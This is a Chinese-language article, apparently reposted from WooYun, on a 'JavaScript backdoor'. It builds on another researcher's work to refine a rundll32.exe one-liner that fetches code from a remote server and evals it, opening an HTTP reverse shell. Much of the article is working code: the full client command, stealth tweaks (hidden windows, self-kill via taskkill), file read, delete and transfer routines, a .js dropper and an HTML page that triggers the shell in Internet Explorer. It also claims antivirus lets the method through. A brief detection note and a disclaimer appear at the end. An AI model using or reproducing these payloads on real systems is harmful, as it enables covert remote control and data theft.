JavaScript Backdoor

wyzsk發表於2020-08-19
作者: 三好學生 · 2016/01/05 10:23

0x00 前言


Casey Smith最近在Twitter分享了他的研究成果,執行一段JavaScript程式碼即可反彈一個Http Shell,很是奇妙,所以就對這個技術做了進一步研究。

Alt text

0x01 簡介


Alt text

從截圖我們可以看到該技術的使用方法,在cmd下利用rundll32.exe載入JavaScript程式碼,程式碼執行後會反彈一個Http Shell,而特別的地方在於當執行完cmd命令後,後臺會一直存在程式rundll32.exe用來同Server持續連線,整個過程不需要寫入檔案,隱蔽性大大提高。

0x02 測試環境


Server:

#!bash
OS:Win7 x64
IP:192.168.174.131

Client:

#!bash
OS:Win7 x86
IP:192.168.174.130

下載連結:
https://gist.github.com/subTee/f1603fa5c15d5f8825c0

0x03 實際測試


1、Server啟動服務,監聽埠

需要將下載指令碼中的IP修改為當前主機IP

管理員執行

2、Client載入JavaScript指令

#!bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.131/connect",false);h.Send();B=h.ResponseText;eval(B)

3、Server彈回Shell

可以執行cmd命令並獲得回顯

Alt text

0x04 測試中的Bug


1、連線超時

Alt text

在成功返回shell後,如果在後臺等待一段時間,Clinet就會彈出超時連線的對話方塊

Alt text

從截圖可以看到Casey Smith已經發現了連線超時的問題,所以在新版本已經做了修正,加上window.setTimeout來避免連線超時的錯誤,在message內加了超時判斷(message儲存用於實現Client後續連線的程式碼,具體細節一看程式碼就明白),但是這樣做還遠遠不夠。

2、程式殘留

如果Server退出,Clinet還會存在rundll32.exe程式

3、執行cmd命令會彈黑框

如果是立即回顯的cmd命令,黑框一閃而過

如果是systeminfo這種需要等待的cmd命令,會一直彈出cmd 執行的黑框,等到執行完畢才會退出

4、執行exe會阻塞

比如執行calc.exe,server端會阻塞,直到關閉calc.exe程式才會恢復正常

如圖

Alt text

5、無法刪除檔案

如圖

Alt text

Alt text

6、server端無法正常退出

想退出只能強行關閉當前cmd.exe

7、無法上傳下載檔案

0x05 最佳化思路


1、對setTimeout的解釋

查詢相關資料如下:
https://msdn.microsoft.com/en-us/library/windows/desktop/aa384061(v=vs.85).aspx

文中提到了JavaScript實現WinHttpRequest的用法,如圖

Alt text

setTimeout用來設定http的超時時間,如果全為0,代表no time-out,也就是無限期

注:
在Casey Smith釋出的第一個版本尚未修復該方法的時候,我解決該方法的思路是參照微軟的方法,對應到程式碼中就是新增
h.SetTimeouts(0, 0, 0, 0);即可

2、增加try catch方法處理錯誤訊息

Casey Smith在程式碼中雖然加入了超時判斷,但沒有對其他可能產生的意外錯誤做判斷,所以需要新增try catch對錯誤訊息進行響應。

try catch不僅能夠解決上述問題中的Bug1,同樣能用來判斷輸入的命令能否成功執行(比如輸錯命令或輸錯路徑)

(相關細節可參照結尾提供的參考程式碼)

查詢相關資料如下:
http://blog.csdn.net/qdfeitian/article/details/6371146

3、使用taskkill解決程式殘留的問題

Clinet可以使用taskkill來結束自身程式,自動退出

#!js
new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe")

4、WScript.Shell物件run和exec的區別

參考資料:

為了獲得cmd命令的回顯,Casey Smith採用的方法是使用exec方法,因為只有exec方法的返回值是一個物件,才可以獲得控制檯輸出資訊和控制檯錯誤資訊

而run方法的返回值是一個整數,就是0或1成功和失敗兩個狀態

但是使用exec方法也有一些弊端,比如測試中的bug3和bug4,這是exec方法本身所無法解決的問題。

而如果使用run方法可以解決bug4

綜上,解決思路是對輸入的內容做判斷,如果是cmd命令,使用exec方法;如果是執行exe,使用run方法

5、解決使用run方法執行命令會彈黑框的問題

參考資料:
https://msdn.microsoft.com/zh-cn/library/d5fk67ky(en-us,VS.85).aspx

如圖

Alt text

run方法其實後面還可以加引數指示該視窗能否被看見

所以在執行比如taskkill的命令就可以使用

#!js
new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true)

避免彈出黑框

注:
intWindowStyle引數的說明中提到“Note that not all programs make use of this information.”
例子之一就是用run方法來執行systeminfo這種需要等待的cmd命令是無法隱藏視窗的

6、如何隱蔽執行systeminfo並獲取回顯

參考瞭如下資料:
WooYun: 搜狗瀏覽器遠端命令執行之五 "> WooYun: 搜狗瀏覽器遠端命令執行之五

如果使用exec方法,雖然可以獲取到回顯,但是利用window.moveTo(-1000,-1000)無法移動彈出的黑框

而使用run方法雖然可以移動彈出的黑框,但是無法獲得回顯

綜合這兩種方法,最後我們只能退而求其次,使用run方法將執行命令回顯的結果輸出到檔案中,然後再透過讀取檔案來獲取結果

具體實現如下:

(1)使用run方法將systeminfo回顯的結果輸出到檔案中c\test\a.txt

示例程式碼:

#!js
new ActiveXObject("WScript.Shell").Run("cmd /c systeminfo >>c\test\a.txt",0,true)

(2)讀取檔案並回傳

示例程式碼:

#!js
fso1=new ActiveXObject("Scripting.FileSystemObject");
f=fso1.OpenTextFile(d,1);
g=f.ReadAll();
f.Close();

透過呼叫new ActiveXObject("Scripting.FileSystemObject")讀取回顯內容,然後再回傳資訊

(相關細節可參照結尾提供的參考程式碼)

7、解決連線超時的問題

透過以上的分析,如果要解決連線超時的問題,需要對Clinet執行的命令新增如下功能:

  1. 捕獲錯誤訊息
  2. 程式自動退出
  3. 全過程不彈黑框

所以Clinet執行的命令最終最佳化為:

#!bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e{new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

8、解決server端無法正常退出

加入exit命令判斷,如果輸入exit,那麼Client呼叫taskkill結束自身,Server同樣執行exit退出

(相關細節可參照結尾提供的參考程式碼)

9、解決刪除檔案的問題

透過呼叫new ActiveXObject("Scripting.FileSystemObject")實現

示例程式碼:

#!js
fso1=new ActiveXObject("Scripting.FileSystemObject");
f =fso1.GetFile(d);
f.Delete();

(相關細節可參照結尾提供的參考程式碼)

10、解決檔案上傳下載

示例如圖:

Alt text

示例程式碼可以實現簡單的檔案上傳下載,但裡面存在一個小bug,如果你投入精力,不難解決

0x06 補充


1、白名單程式,免疫防毒軟體

由於是透過rundll.exe呼叫的程式碼,所以防毒軟體會放行,不會攔截

2、檢測

通訊協議使用HTTP,透過防火牆攔截流量即可發現其中的攻擊行為

3、更多載入方式

(1)js檔案

可以放在js檔案裡面 雙擊js檔案執行

#!js
h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","http://192.168.174.131/connect",false);
try{
h.Send();
B=h.ResponseText;
eval(B);
}
catch(e)
{
new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im wscript.exe",0,true);
}

後臺程式為wscript.exe

(2)嘗試掛在網頁裡面

#!html
<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
 <title> new document </title>
 <meta name="generator" content="editplus">
 <meta name="author" content="">
 <meta name="keywords" content="">
 <meta name="description" content="">
 <script language="javascript" type="text/javascript">
h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","http://192.168.174.131/connect",false);
h.Send();
B=h.ResponseText;
eval(B);
</script>
</head>
<body>
</body>
</html>

使用ie開啟會提示是否載入控制元件,如果允許,即可彈回shell

Chrome、Firefox不支援ActiveXObject,所以不會觸發

0x07 小結


我在Casey Smith的基礎上,對其程式碼做了進一步最佳化,對JavaScript Backdoor技術做了進一步研究,感謝他的無私分享,才有了我的這篇文章。

我開發的程式碼已上傳到github,下載連結:
https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1

歡迎下載測試,交流學習。

支援的功能如圖

Alt text

注:
本文僅用來學習交流JavaScript Backdoor技術,並提供了檢測方法
同時在檔案上傳下載的功能上留下了bug,距實際使用還有一點距離,以避免該方法被濫用。

本文由三好學生原創並首發於烏雲drops,轉載請註明

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章